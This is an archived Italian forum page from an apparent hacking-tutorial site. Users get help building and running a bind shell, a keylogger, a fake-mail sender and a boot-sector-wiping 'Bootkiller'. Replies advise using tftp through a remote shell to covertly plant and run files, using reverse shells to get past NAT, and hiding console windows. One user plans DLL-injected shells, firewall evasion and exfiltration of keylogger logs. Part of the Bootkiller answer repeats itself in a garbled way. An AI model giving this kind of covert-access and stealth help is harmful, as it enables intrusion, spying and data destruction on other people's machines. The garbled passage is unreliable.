sicuro, cmq anke fread() e fwrite() nn ti dovrebbero dare problemi

ciao ciao

Komrade: Risposta per elCare: Ho provato con Windows 98 e la versione 
RemoteShellv2.0 dà dei problemi, invece RemoteShell funziona correttamente 
inserendo command.com come shell_name:

#define SHELL_NAME "command.com 0 "

ricorda che per far funzionare RemoteShell devi passare come parametro la porta 
su cui vuoi aprire la shell. Almeno in locale deve funzionarti...

Risposta a Dibe: Io ti sconsiglio di utilizzare le funzioni fprintf() o fgets() 
per aprire i file in modo binario, utilizza piuttosto fread() e fwrite(), che 
con i file non di testo non danno alcun problema.

Risposta per Animanera: Se Kerio controlla solo le porte, bisogna avere la 
fortuna di iniettare codice nei programmi che utilizzano le porte che Kerio 
lascia passare (è un po ' limitante...), ma neanche iniettando codice in Kerio 
stesso si può fare qualcosa???

Dibe: ciao a tutti stavo provando a fare una sorta di uploader per file binari, 
che consiste in un semplice server che prende i dati che riceve sulla porta su 
cui è bindato, e li fprintf()effa in un file (il file eseguibile). Ho creato poi 
un client che apre in locale un file binario e lo invia in questo modo :

fd = fopen(...file..);
while( !feof(fd) ) {
fgest(fd, buf, sizeof(buf));
send(socket, buf, strlen(buf), 0);
}
[..etc..]
Ora il punto è che se testo il tutto utilizzando un file testuale normale, non 
ho problemi e viene inviato tutto corretamente, mentre se cerco di uplodare un 
file binario (un eseguibile .exe) in sostanza l 'uploading termina prima della 
fine del file e non ho corrispondenza tra il contenuto del file binario in 
locale e quello uppato sul server..pensavo fosse un problema di "apertura " del 
file, cosi ho messo come flag "rb " in lettura e "wb " in scrittura, e in 
definitiva mi manda un pò di roba ma il resto lo sminchia.. inoltre ciò che 
viene salvato non corisponde al binario locale ! Potreste suggerirmi qualcosa ? 
grazie mille ciao

Animanera: scusa nn ti volevo offendere... solo ke un mio amico ha avuto lo 
stesso problema... cmq con locale cosa intendi? localhost o LAN? a me in remoto 
funziona solo sulla porta 23 e nn so xke '... prova a mettere anke tu questa 
porta... o magari potrebbe essere un problema di firewall o di router, se ne 
hai...

elCare: Animanera non sono cosi coglione :) e inoltre mi connettevo da una shell 
linux..quindi..cmq ho provato entrambe le versioni, sia da locale che 
remotamente e nulla! >(

Animanera: x Komrade: ok ora gli do un 'okkiata, fortunatamente l 'inglese nn e 
' un problema :) x qnt riguarda kerio e ' proprio cm dici tu, gestisce il 
traffico sulle porte fregandosene del programma ke fa la rikiesta... infatti e ' 
un casino configurarlo a causa dei molti programmi ke aprono porte a random... 
nn vedo l 'ora di spulciare il prox tutorial!! magari sara ' utile x i Bof che 
sto cercando faticosamente di imparare? :P

x elCare: dahahahahaha no lo so io quale e ' il problema!!! tu hai telnet con 
sfondo bianco vero? cambiagli sfondo!! o meglio usa NetCat!! :P

ciao ciao

Komrade: Risposta per Animanera: Per creare un serivizio in windows qui puoi 
trovare delle informazioni utili qui: (stranamente in inglese...)

http://msdn.microsoft.com/library/default.asp? url=/library/en-us/vbcon/html/ 
vboricreatingconfiguringwindowsserviceapplications.asp

Per quanto riguarda i firewall volevo chiederti cosa controlla esattemente di 
diverso Kerio? direttamente le porte? quindi tutto ciò che passa da una porta 
viene controllato senza che il firewall si interessi da che programma avviene la 
richiesta? P.S. non scusarti per fregarmi il posto, anzi grazie...

Risposta per elCare: Con command.com dovrebbe funzionare, prova se dalla 
macchina locale riesci a connetterti, e comunque dicci quale versione di 
RemoteShell usi.

Per tutti: Vi voglio anticipare l 'argomento del prossimo tutorial, che arriverà 
nel più breve tempo possibile (spero presto...): come eseguire codice su una 
macchina che non ha a disposizione nessun compilatore, interprete o altro, solo 
gli strumenti che ci mette a diposizione Windows (che sono tanti e quindi è uno 
spreco non conoscerli a dovere).

elCare: grazie per la storia dell 'ip! per la shell ho modificato la questione 
di command, mettendo sia command.com che command e basta. Ho avviato RemoteShell 
sulla mia macchina e mi son provato a connettere da un altra macchina tramite 
telnet, ma pur scrivendo nel terminale di telent, nn ricevo output ne altro. 
rimane quasi congelata la connessione. nessun idea ? grazie.

Animanera: scusa Komrade se ti "frego " il posto :P

elCare devi rikiamare command.COM non .exe, cmq la CreateProcess accetta anke i 
nomi senza estensioni, basta ke siano eseguibili

x l 'ip basta ke fai:
struct hostent *host;
char ip[16];
host = gethostbyname( " ");
sprintf(ip, "%s ", inet_ntoa( *((struct in_addr *)host->h_addr)) );
et voila ' :P
spero di esserti stato d 'aiuto :D
ciao ciao

elCare: ciao Komrade! prima di tutto complimenti per il sito & i codes. Ho 
provato a compilare remoteshell.c (entrame le versioni) con lcc sotto WinMe, e 
quando mi connetto alla shell con telnet (giusto per testare) il porcesso 
termina e la connessione si chiude..dopo scoprirò (eheh) che in realtà cmd.exe 
sotto WinMe non esiste. allora ho provato a mettere command.exe (sinceramente 
non so ne se il problema è quello, ne se la soluzione da me adottata è quella 
corretta :P ) sta di fatto che anche in questo caso non funziona .. sapresti 
dirmi come posso fare ? Un ultima cosa. Non riesco a trovare (ma esiste alla 
fine?) una Api win32 che mi permetta di otteenere l 'ip della macchina locale. 
sai dirmi qualcosa? grazie in anticipo, un saluto. elCare.

Animanera: %esp se cerchi bene nella pagina avrai la risposta :P

%esp: ciao! vorrei sapere come è possibile poter avviare un eseguible senza che 
la finestra del prompt di dos venga aperta, non importa se il task manager 
visualizza il processo, l 'importante è che nn appaia la finestra. Esiste un 
modo che sia compatibile sia per win 98/me e Xp ? grazie mille !

Animanera: Komrade grazie di tutto veramente... ora voglio provare a unire varie 
delle tue creazioni insieme, tipo iniettare una dll ke contiene una shell, x poi 
eseguire tftp (e vedere se il firewall se ne accorge), magari x trasferire i log 
del keylogger precedentemente iniettato :P nel frattempo mi sono venute un paio 
di curiosita ': 1) volevo sapere se conosci un modo per bypassare i firewall ke 
controllano le porte, tipo kerio, xke ' x gli altri l 'injection funzona 
xfettamente 2) come faccio a creare un servizio, del tipo ke appaiono nella 
lista di services.msc? Maestro, la ringrazio :P ciao ciao

andrea: ciao a tutti sto facendo un lavoro per un esame di reti (una chat) 
volevo chiedere se è possibile avere il sorgente di private chat per darci un 
occhio grazie.

itadol@libero.it

Komrade: Il fatto che la finestra non si apra subito è una cosa molto strana a 
cui anche io per ora non so dare una motivazione... Per trasferire i file il 
modo più semplice è utilizzare il comando tftp da shell. È un semplicissimo 
client tftp presente di default in Windows. Tu devi solo mettere un server tftp 
nel tuo pc, poi tramite la shell remota puoi trasferire un file su un computer 
remoto ed eseguirlo. Semplice, veloce e abbastanza nascosto. Per quanto riguarda 
l 'assembly ti consiglio di vedere il sito http://www.giobe2000.it/Tutorial/, 
anche se la documentazione più completa sono i manuali intel (che 
sfortunatamente sono in inglese) 
http://developer.intel.com/design/pentium/manuals/. Comunque anche se la 
sintassi è differente, l 'assembly x86 è simile al mips. Ciao

Animanera: si, hai ragione la finestra viene visualizzata al secondo comando... 
ma xke '? c 'e ' un modo x farlo eseguire subito? nn mi va proprio di 
implementare una shell da capo... anke se prima o poi dovro ' cmq farlo, senno ' 
cm li trasferisco i files da un picci ' all 'altro? magari potresti mettere anke 
questo cm tutorial no? una shellcode o magari un code di ftp ;) x quanto 
riguarda la faccenda della porta purtroppo nn sto dietro a un router ne ' a un 
nat... pensavo dipendesse dall firewall, ma ho provato anke senza e nn va =... 
mistero della fede :D quindi dici ke un shell inversa dovrebbe funzionare? all 
'inizio mi era venuta l 'idea x un altro motivo, cioe ' se ad es. mando il file 
della shell via messenger, nn conosco l 'ip del destinatario e quindi era piu ' 
semplice far connettere lui a me :P cmq abbiamo provato qualke ora fa e funziona 
xfettamente, il nat viene passato senza problemi :DD ah a proposito, volevo 
kiederti se conosci un buon sito con un tutorial assembly x86... io conosco il 
mips, ma c 'entra ben poco e di x86 sto proprio a 0 :( ciao ciao

Komrade: Non so se ho capito bene le domande, se non ti rispondo correttamente 
fammelo sapere 1) Quando esegui programmi che aprono finestre, il programma 
parte ma la finestra non si visualizza all 'istante, comunque non devi dare per 
forza exit alla shell per vedere la finestra, se dai qualche altro comando in 
seguito (anche un semplice dir) la finestra si visualizza. 2)Questo è strano, 
normalmente devi poterlo usare sia su lan che in internet. Non c 'è qualche 
router, nat che filtra i pacchetti verso quella porta? se è così devi trovarne 
un 'altra che il router lasci passare. Nel programma specifichi la nuova porta 
che i router non filtrano e tutto funziona correttamente. 3)Il modo più semplice 
è quello di creare una shell inversa che si connette a te. Questa cosa si può 
fare e non è neanche difficile, e adesso che mi ci fai pensare è un bel 
programma da aggiungere al tutorial e che appena posso farò. Ciao. E comunque 
per quel poco anche l 'uni è utile...

Animanera: ciao Komrade, penso di avere lo stesso problema ke aveva Popper... ma 
nn ho capito molto bene la tua risp alla sua domanda :) in sostanza i miei 
problemini sono 3: 1) come faccio ad eseguire un comando remoto in una finestra 
(es. stupido "calc ") senza dover dare l ' "exit " alla cmd? le altre cose tipo 
"dir " funzionano xfettamente :) 2) riesco ad utilizzare i socket solo dentro 
una rete locale... mi spiego meglio: se uso la porta 4444 funziona da qualsiasi 
picci ' della lan ma nn via internet... x quello devo usare la porta 23. c 'e ' 
un modo x usare un 'altra porta? (ah mi connetto via telnet) 3) nn riesco a 
passare i NAT di fastweb... ho pensato di fare in modo ke siano loro a 
connettersi a me, ma ci vuole tempo x implementarlo e prima di farlo volevo 
sapere se potrebbe funzionare e/o se c 'e ' qualke altra strada magari piu ' 
semplice :P x ora e ' tutto :D complimenti ancora x il tuo lavoro!!! altro ke 
uni!!!! :D ciao ciao

Komrade: Risposta a %esp: Gli errori che ti compaiono con devc++ non sono di 
compilazione, ma sono presenti perché per poter creare il file eseguibile devi 
linkare la libreria wsock32. Vai in "Tools -> Compiler Options -> Add these 
command to the linker command line " e scrivi c: Programmi Dev-Cpp lib 
libwsock32.a. La direttiva #define WIN32_LEAN_AND_MEAN non metterla, che non 
serve in questo caso.

L 'errore che ti compare con lcc-win32 è molto strano, anche perché il programma 
è stato fatto proprio con questo compilatore. Non c 'è magari qualche errore 
nelle proprietà del progetto che hai creato (se ne hai creato uno)?

Popper: ottimo komrade, sei proprio bravo :) (sì uso telnet, o putty). 
Complimenti per il lavoro che fai

%esp: ho provato a copilare con lcc-win32 lo stesso file è mi da un errore del 
tipo "entry point ( "main " function) is not defined " :(( Mi sapete dire il 
motivo ? Grazie.

%esp: ciao! ho provato a compilare con dev-c++ fakemail.c, ma mi da errori del 
tipo : : WINDOWS TEMP ccfOnegb.o(.text+0x15c):fakemail.c: undefined reference to 
`WSAStartup@8 ' C: WINDOWS TEMP ccfOnegb.o(.text+0x16d):fakemail.c: undefined 
reference to `socket@12 '[..] Ho provato a inserire anche la direttiva #define 
WIN32_LEAN_AND_MEAN (nel caso servisse), ma nulla da fare. Mi sai dire qualè il 
problema ? Grazie!

Komrade: Se usi telnet per accedere alla porta dopo la accept() metti un ciclo 
tipo questo:

do{
i = 0;
do{
n = recv(sendrecv, &buffer[i], sizeof(char), 0);
i++;
}
while(buffer[i-1] >= 'A ');
buffer[i-1]= ' 0 ';
}
while(strcmp(buffer, "password ") != 0);

perché il telnet invia un solo carattere per volta e quindi devi creare tu la 
stringa, altrimenti creando un client che si connette alla porta ti basta fare 
un ciclo che controlli direttamente l 'intera stringa.

Popper: Ciao Komrade, la shell l 'ho compilata, và benissimo.. :-) Ho fatto 
alcune modifiche ma non riesco ad impostare un modo per restituire la linea di 
comando solo dopo avere ricevuto una stringa(una pass insomma); puoi aiutarmi? 
Grazie :-)

Popper: eheh ottimo :P .. adesso compilandolo mi dà un errore di sintassi che 
però non trovo :- mi dice --> RemoteShellv2.0.c(35) : error C2143: syntax error 
: missing '; ' before 'type ' riferendosi a questa linea di codice: 
bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in)); 
listen(sock,1); int lun = sizeof(struct sockaddr); sendrecv = 
accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);

Komrade: Ho modificato il codice di RemoteShellv2.0.c ed ora compila 
correttamente anche sul visual studio. Grazie alla definizione della direttiva 
#define WIN32_LEAN_AND_MEAN il compilatore non include più il file winsock.h 
così possiamo utilizzare il nostro winsock2.h Tranquillo per me non è tempo 
perso, anzi scopro quanto è più pignolo il visual studio degli altri 
compilatori.

Popper: Ho provato a levare winsock2.h ma dice di avere problemi a definire il 
socket, quindi nulla :( 1000 grazie per il tempo che perdi :)

Komrade: Il compilatore visual studio fa troppo il preciso e quindi questi 
errori compaiono spesso (personalmente non lo uso e quindi non posso correggerli 
istantaneamente), l 'errore qui sta nella redefinizione delle variabili presenti 
nella #include winsock.h (che è inclusa di default nel file windows.h) e la 
winsock2.h, per ora prova a togliere #include winsock2.h e vedi se funziona. 
Comunque domani (giorno in cui finalmente avrò un minuto di tempo libero) 
metterò a posto il programma per il visual studio, se per caso ci sono altri 
programmi che non compilano correttamente fatmelo sapere.

Popper: --------------------Configuration: RemoteShellv2.0 - Win32 Debug--------
------------ Compiling... RemoteShellv2.0.c c: programmi microsoft visual studio 
vc98 include winsock2.h(99) : error C2011: 'fd_set ' : 'struct ' type 
redefinition c: programmi microsoft visual studio vc98 include winsock2.h(134) : 
warning C4005: 'FD_SET ' : macro redefinition c: programmi microsoft visual 
studio vc98 include winsock.h(83) : see previous definition of 'FD_SET ' c: 
programmi microsoft visual studio vc98 include winsock2.h(143) : error C2011: 
'timeval ' : 'struct ' type redefinition c: programmi microsoft visual studio 
vc98 include winsock2.h(199) : error C2011: 'hostent ' : 'struct ' type 
redefinition c: programmi microsoft visual studio vc98 include winsock2.h(212) : 
error C2011: 'netent ' : 'struct ' type redefinition c: programmi microsoft 
visual studio vc98 include winsock2.h(219) : error C2011: 'servent ' : 'struct ' 
type redefinition

e via dicendo... sono 60 errori e 11 avvisi

Umbe: Stesso problema di Popper! Con il compilatore visual studio, spesso ci 
sono un sacco di problemi. Popper, posta gli errori del compilatore che vediamo 
se sono gli stessi e magari il buon Komrade ci dà pure un okkio...tempo 
permettendo si intende...

popper: ho riprovato anche con cygwin ma la compilazione è impossibile sia per 
remoteshell che per remoteshell2.0 :-(

popper: salve a tutti! bellissimo sito, ricco di contenuti che oggi scarseggiano 
un pò dappertutto! Smanettando un pò sui vostri codici ho avuto però difficoltà 
a compilare shellremota 2.0 a causa del winsock2.h; come compilatore uso visual 
c++ della Microsoft, sapete aiutarmi?

Komrade: Risposta a Newbie: In windows 95 è possibile leggere tramite int 13h 
solo dopo aver chiamato un altro interrupt (interrupt 21/AX=440d/CX=084b, vedi 
http://www.ctyme.com/intr/rb-2898.htm) che fa un "lock " del disco fisico 
(bisogna poi fare l 'unlock con un altro interrupt). Per quanto riguarda le 
dimensioni massime di lettura c 'è un errore in quanto i bit disponibili per le 
testine sono 8 e quindi si possono leggere: 256 testine X 1024 cilindri X 64 
settori X 512 bytes = 8 GB. Per dimensioni superiori bisogna usare le "INT 13 
Extensions " (vedi interrupt 13/AH=42h) http://www.ctyme.com/intr/rb-0708.htm

newbie: ma windows 95 per leggere dal disco fisso, come fa? non usa l 'interrupt 
13,vero? è vero che l 'interrupt 13 può leggere da dischi di dimensioni massime 
di 504 MB, o ho sbagliato i conti? (ho moltiplicato il numero massimo di 
cilindri (10 bit)per quello delle testine (4 bit) per 63 settori per 512 bytes)

Komrade: Risposta a Animanera: non credo che in windows ci sia una funzione di 
sistema simile alla fork() di Unix, sono sicuro che non esista tra le librerie 
tradizionali, magari è stata implementata in qualche libreria però non ne sono a 
conoscenza. L 'unico modo in Windows di fare qualcosa di simile alla fork() è 
utilizzare la API CreateThread() che ti crea un thread da una funzione, però non 
è semplice come la mitica fork()...

Animanera: ciao a tutti!! volevo innanzitutto complimentarmi... sono senza 
parole... davvero incredibile!!! finalmente un posto dove trovare del codice 
interessante, chiaro e corretto!! visto ke siete cosi ' bravi, e visto ke 
purtroppo x mancanza di tempo nn posso leggere tutti i codici pubblicati, volevo 
kiedervi se c 'e ' una API o cmq una system call in windows ke equivale alla 
fork() di unix. ancora complimenti :)

pinco pallino: grazie komrade

a Komrade:: grazie, ora provo.

Komrade: A pinco pallino: Puoi utilizzare iocltsocket() e il tempo di delay 
copiando i pezzi di codice che trovi in bannerscan.c e modificando i parametri: 
aggiungi queste righe al portscanner per ioctlsocket:

unsigned long arg=1;
err=ioctlsocket (sock, FIONBIO,&arg);
if(err!=0)
printf( "Errore ioctl(): %d ",WSAGetLastError());

mentre per il tempo di delay devi copiare tutto il loop di ricezione banner 
(dalla riga 93 alla 111) stando attento a modificare i nomi delle variabili che 
sono differenti e argv[4] deve diventare argv[1].

A abs0: Se vuoi farlo partire senza finestra di console, senza dover creare un 
progetto Applicazione windows, apri il file con devc++ vai sul menu Tools -> 
Compiler Options. Ti si apre una finestra di opzioni per il compilatore, da lì 
vai sulla pagina Settings clicchi su Linker e selezioni Yes sulla opzione "Do 
not create a console windows ".

newbie: X abs0: non dovrebbe aprirsi una finestra...quando hai crei il project, 
devi fare un processo o un thread, non un applicazione (o almeno penso, dipende 
dal tipo di compilatore...) boh...

abs0: per Newbie: grazie, ora funge tutto.. un 'altra cosa, come si può fare per 
farlo partire senza che si apra nessuna finestra? ciao

pinco pallino: ciao a tutti.qualcuno mi sà spiegare come fare ad utilizzare 
ioctlsocket() e il tempo di delay nel file portscanner.c?


newbie: X abs0: prova ad aggiungere "#define VK_Z 90 " (senza le virgolette) 
sotto l 'ultimo define. a me dava lo stesso errore anche con VK_SPACE, in questo 
caso basta aggiungere "#define VK_SPACE 32 "

abs0: ciao! ho cercato di compilare il keylogger con Dev-C++ ma mi dà questo 
errore: 33 `VK_Z ' undeclared (first use in this function) dove sbaglio?

pinco pallino: ciao a tutti.qualcuno mi sà spiegare come fare ad utilizzare 
ioctlsocket() e il tempo di delay nel file portscanner.c?

Umbe: Anche...sarebbe interessante fare una panoramica su come una task possa 
essere lanciata in automatico da windows.(da quali chiavi del registro per 
esempio( so ' che ce ne sono parecchie), o dai vari file *.ini o bat o da 
servizi....diciamo di tutto un po '...

Komrade: A Umbe: Intendi qualcosa sulla creazione di servizi di Windows? O 
qualche altra cosa? posso vedere cosa si può fare...

A newbie: I sistemi operativi successivi a Windows 95 non permettono ai 
programmi eseguibili di modificare l 'hardware direttamente, bisognerebbe creare 
un driver per poter scrivere nel boot sector, il bootkiller opera come i vecchi 
virus che venivano scambiati via floppy e funziona perché parte prima del 
sistema operativo. Non so di quali programmi boot manager parli però 
probabilmente creano qualche driver. Si potrebbe anche creare un driver, ma se 
non è cambiato qualcosa negli ultimi tempi deve essere scritto tutto in 
assembly.

newbie: grazie infinite.io conosco alcuni programmi boot manager, che si 
installano nel boot sector, semplicemente eseguendoli...per caso sai come fanno? 
perchè il bootkiller invece deve essere scritto sul boot sect di un floppy? il 
SO non permette la scrittura sul boot sector? come fanno allora i boot manager 
di cui ti ho detto?

Umbe: lancio una proposta: perchè non fare un bel tutorial su come i programmi 
possono essere eseguiti automaticamente all 'avvio di windows? (ovvio che non 
parlo di esecuzione automatica e della chiave HLM/ecc.ecc/run o runservices). 
Cioè, in pratica, quanti e quali sono i modi per avviare un task in automatico?


Komrade: Se vuoi scrivere su un floppy trovi un programma qui: 
ftp://ftp.pamarsystems.com/raw/rawrite.exe che ti scrive un file immagine su un 
dischetto, se vuoi scrivere su un cd devi usare un software di masterizzazione 
che permetta la scrittura di file immagine

newbie: ah,ho capito.mi puoi indicare il nome di un prog di scrittura grezza? 
grazie

Komrade: il programma Bootkiller non deve essere assemblato come un normale 
eseguibile e poi essere eseguito. Devi creare il file binario (come spiegato nel 
tutorial) e scriverlo con programmi di scrittura raw sul boot sector di un 
floppy o di un cd, poi inserendo il floppy o il cd all 'avvio verrà sovrascritto 
il boot sector dell 'hard disk. Comunque stai attento ad cd, poi inserendo il 
floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 'hard disk. 
Comunque stai attento ad cd, poi inserendo il floppy o il cd all 'avvio verrà 
sovrascritto il boot sector dell 'hard disk. Comunque stai attento ad poi 
inserendo il floppy o il cd all 'avvio verrà sovrascritto il boot sector dell 
'hard disk. Comunque stai attento ad eseguirlo sul tuo pc perché una volta che 
il programma BootKiller parte, se non sai come rimettere a posto il boot setor 
dell 'hard disk devi reinstallare tutto il sistema operativo...

newbie: grazie mille.avrei un altra domanda:ho assemblato il bootkiller con il 
nasm,e l 'ho lanciato dal dos sul mio pc, ma è venuta fuori la scritta C: 
WINDOWS COMMAND e si è bloccato, ma al riavvio, non è successo niente, ho anche 
provato a fare un dump del boot sector con DEBUG, ma non c 'è traccia del codice 
del bootkiller...come mai?

Komrade: Risposta a newbie: Infatti non vengono riempiti 510 byte di zeri, ma 
viene valutata l 'espressione 510-($-$$). Il valore $ indica il punto dove è 
presente l 'istruzione corrente mentre il valore $$ indica l 'inzio del 
programma; quindi viene calcolato lo spazio occupato dai bytes del programma e 
viene sottratto a 510.

film: in 2-3 ore è un miraggio...con i programmi di file sharing ci vogliono 
almeno due giorni, se sei fortunato...

francesco: come si fa a scaricare i film in 2-3 ore?


kzu: hahahaha no caso una de italiano pero me parece que sos un pt, sabelo

newbie: non ho capito bene, perchè alla fine del sorgente del bootkiller, c 'è l 
'istruzione "times 510-($-$$) db 0 ": non bisognerebbe tenere il conto di tutto 
lo spazio che occupa il codice, visto che va a finire anche quello nel boot 
sector? quindi non dovrebbero essere meno di 510 i byte da riempire a zeri?


blackpant3r: Davvero ottimi.

pinco pallino: grazie komrade

DaitanPeo: tutto sotto gpl :°D

Komrade: Ho modificato il modo di inserimento dei messaggi (in alto i messaggi 
più recenti) per rendere più immediata la lettura.

Risposta a pinco pallino: Gli errori che ti compaiono non sono di compilazione, 
ma sono presenti perché per poter creare il file eseguibile devi linkare la 
libreria wsock32.lib. Guarda tra le opzioni del tuo compilatore (cerca dove si 
aggiungono le librerie per il linker) ci deve essere la voce per poter 
aggiungere una libreria al progetto.

Risposta a Daitarn: Se hai dei sorgenti fatti da te che credi possano essere 
utili mandameli pure, posso guardarli e se sono ok sarò contento di aggiungerli 
ai vari progetti (con tutti gli opportuni riferimenti all 'autore). Il codice di 
altri è meglio di no per non aver problemi con i diritti d 'autore...

Risposta per Umbe: Un forum non sarebbe male ci avevo pensato anche io, però non 
avendo molto tempo per farlo bisognerebbe trovarne una già fatto... Se qualcuno 
ne conosce uno semplice di grafica e leggero me lo faccia sapere. Altrimenti si 
può continuare ad usare questa pagina (con i vari miglioramenti del caso)

Grazie a tutti per i complimenti...

pinco pallino: salve ho un problema.perchè quando compilo il file client.c mi dà 
questi errori? main.obj : error LNK2001: simbolo esterno "int __stdcall 
WSACleanup(void) " (?WSACleanup@@$$J10YGHXZ) non risolto main.obj : error 
LNK2001: simbolo esterno "int __stdcall closesocket(unsigned int) " 
(?closesocket@@$$J14YGHI@Z) non risolto main.obj : error LNK2001: simbolo 
esterno "int __stdcall connect(unsigned int,struct sockaddr const *,int) " 
(?connect@@$$J212YGHIPBUsockaddr@@H@Z) non risolto main.obj : error LNK2001: 
simbolo esterno "unsigned short __stdcall htons(unsigned short) " 
(?htons@@$$J14YGGG@Z) non risolto main.obj : error LNK2001: simbolo esterno 
"unsigned int __stdcall socket(int,int,int) " (?socket@@$$J212YGIHHH@Z) non 
risolto main.obj : error LNK2001: simbolo esterno "int __stdcall 
WSAStartup(unsigned short,struct WSAData *) " 
(?WSAStartup@@$$J18YGHGPAUWSAData@@@Z) non risolto C: Documents and Settings Neo 
Documenti Visual Studio Projects internetwork Debug internetwork.exe : fatal 
error LNK1120: 6 esterni non risolti

u238: figata sto sito! ...da oggi in poi lo seguirò con attenzione, penso che 
avrai 1 sacco di cose da insegnarci ;-) ..dacci dentro! :-D

Daitarn: Il sito è molto carino e stai facendo un bel lavoro... Ho guardato un 
pò i programmi, se ti va posso passarti 2 o 3 sorgenti carini: un keylogger dll 
che può anche dire su che finestra vengono scritte le varie cose (trovato in non 
so quale sito francese), un pò di codice scritto da me con le winsock ed i raw 
socket (tcp,udp,icmp) solo winsock2, ed un codice per fare dll injection 
funzionante ed un pò + semplice compilabile in visual c++. Rispondi pure qua in 
caso ti mando mail :°D Saluto

Umbe: Faccio una proposta: perchè nn inserire un bel forum??(di grafica 
semplice, come il sito, senza tanti teschietti o avatar del cavolo in giro...)

x86: questo sito è favoloso!!!, altro che certi siti con una grafica stupenda, 
ma che alla fine non insegnano niente...complimenti ai creatori!!!

Luconedj: Micidiali queste nozioni!!!!!!!!!

umbe: Grazie a voi per il lavoro!

Komrade: Ho messo a posto i sorgenti dei programmi e ora è possibile compilarli 
anche con il Visual Studio. Grazie Umbe per aver segnalato il problema.

McCl0ud: Complimenti...

Umbe: Grazie! vi seguo spesso e aspettero' con ansia...Complimenti per il 
sito...semplice( come piace a me) ma pieno di info utilissime....

Komrade: Ho testato sul visual studio ed effettivamente non riconosce la 
dichiarazione delle funzioni, appena posso modifico il codice per permettere di 
compilarlo anche con il visual studio.

Umbe: riporta una serie di errori...tra i quali ti segnalo: ProcessKiller.c(119) 
: error C2059: syntax error : '(' e via di seguito per le successive 4 lineee, 
poi ancora: error C2065: 'PfZwQuerySystemInformation' : undeclared 
identifier...e via di seguito per le funzioni non presenti nei compilatori 
tradizionali..

Komrade: Il compilatore usato è lcc-win32 (dato che è gratuito), comunque il 
codice scritto dovrebbe funzionare su qualsiasi compilatore, se vuoi inviami gli 
errori che ti segnala, posso vedere quale è il problema...

Umbe: che compilatore c++ usate per i vostri esempi? col visual studio non 
funziano!!!
 
notepad/archivio.txt · Ultima modifica: 2008/12/03 13:52 (modifica esterna)
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki